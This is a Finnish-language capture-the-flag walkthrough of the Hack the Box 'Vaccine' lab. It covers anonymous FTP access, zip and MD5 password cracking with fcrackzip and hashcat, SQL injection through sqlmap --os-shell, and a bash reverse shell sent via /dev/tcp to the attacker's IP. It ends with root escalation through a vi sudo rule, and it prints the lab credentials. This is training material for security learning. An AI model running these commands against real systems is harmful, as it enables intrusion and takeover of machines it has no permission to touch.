Hack the Box Starting Point Tier 2: Vaccine

Huom. kohteen ja oma tun0 IP-osoitteet vaihtuvat tehtävässä, koska harjoitusta tehty eri kerroilla

User flag

Kohteen Nmap-skannauksesta huomataan, että kohteessa on portit 21 (FTP), 22 (SSH) ja 80 (HTTP) avoinna. Kohteen FTP-palvelu mahdollistaa Anonymous-kirjautumisen: “Anonymous FTP login allowed”.

Yhdistetty FTP:llä kohteeseen käyttäen Anonymous käyttäjätunnusta. Huomataan, että kohteessa on backup.zip-tiedosto. Ladattu kohteesta backup.zip-tiedosto.

Kokeiltu purkaa tiedosto backup.zip komennolla unzip. Tiedosto on salasanasuojattu. Kokeiltu muutamia yleisiä salasanoja kuten password, abc123, secret ja qwerty, syötetyt salasanat olivat vääriä.

Murrettu backup.zip-tiedoston salasana käyttäen fcrackzip-työkalua ja rockyou.txt salasanalistaa. Komennon syöte tallennettu backup_password.txt-tiedostoon. Komento: fcrackzip -u -D -p rockyou.txt backup.zip >> backup_password.txt
Löydetty tiedoston salasana: 741852963
Fcrackzip komennon lisäoptiot:
-u: käyttää unzippausta jättääkseen huomioimatta väärät salasanat.
-D: käyttää sanakirjaa.
-p: käyttää merkkijonoa ensisijaisena salasanana/tiedostona.

Backup.zip-tiedostosta purettu tiedostot index.php ja style.css murretun salasanan avulla.

Luettu tiedoston index.php sisältö. Tiedostosta löydetty käyttäjän admin salasanatiiviste: 2cb42f8734ea607eefed3b70af13bbd3.

Hashid löysi tiivisteestä paljon mahdollisia salasanatiivistetyyppejä.

Luotu index_hasht.txt tiedosto, johon kopioiutu salasanatiiviste, sekä tyhjä tekstitiedosto cracked.txt. Salasana murrettu Hashcatin avulla käyttäen komentoa: sudo hashcat -m 0 -a 0 -o cracked.txt index_hash.txt rockyou.txt*

Komennossa:
-m 0: tiiviste jota murretaan (MD5).
-a 0: sanakirjahyökkäys (käytetty sanalista: rockyou.txt).
-o cracked.txt tyhjä kohdetiedosto murretuille salasanoille.

Hashcat mursi salasasan, ja cracked.txt tiedostosta löytyi tiivistettä vastaava salasana: qwerty789.

Selaimella aukaistu kohteen IP-osoite portissa 80, ja syötetty käyttäjätunnus admin ja murrettu salasana qwerty789.

Aukesi sivu, jossa autokatalogi.

Kirjoitettu sivun hakukenttään: “any query”, ja huomataan, että osoiterivillä on $search muuttuja. Seuraavaksi kokeillaan sqlmapin avulla onko muuttuja altis SQL injektiolle.

Burb Suiten avulla haettu istunnon eväste: PHPSESSID=ibnm0guvi12qja43te30bqbkat

Sqlmap suoritettu komennolla: sqlmap -u “http://{target_IP}/dashboard.php?search=any+query” –cookie=”PHPSESSID=ibnm0guvi12qja43te30bqbkat”
Sqlmapin syötteessä lukee: “GET parameter ‘search’ is vulnerable”. Eli saatiin vahvistus, että kohde on altis SQL-injektiolle.

Suoritettu sqlmap:ssa sama komento, mutta lisätty perään: –os-shell. Saatiin onnistuneesti shell.

Käynnistetty ensin Netcat-kuuntelija porttiin 443 komennolla: sudo nc -lvnp 443. Sen jälkeen syötetty payload os-shelliin: bash -c “bash -i >& /dev/tcp/{your_tun0_ip}/443 0>&1”. Onnistuneesti saatiin yhteys kohteeseen.

User flag löytyi /var/lib/postgresql/ hakemistosta.

Root flag

Etsitään käyttäjän postgres salasana hakemistosta /var/www/html, jotta voidaan suorittaa komentoja sudo-oikeuksin.

Tiedostosta dashboard.php löytyi salasana: P@s5w0rd!

Koska kohteessa on portti 22 auki, otetaan SSH-yhteys kohteeseen (edellisessä shellissä oli aikakatkaisu) käyttäjänä postgres ja löydetyllä salasanalla P@s5w0rd!

Käyttäjällä postgres ei ole mahdollisuutta vaihtaa root-käyttäjäksi. Oikeudet kuitenkin löytyy suorittaa komento: sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf

Suoritettu komento: sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
Aukesi vi editori.

Painettu näppäimistöstä “:” näppäintä, jotta voidaan suorittaa komentoja. Suoritettu komennot: :set shell=/bin/sh ja :shell

Komentojen suorittamisen jälkeen aukesi uusi shell root-käyttäjänä. Root flag löytyi hakemistosta /root.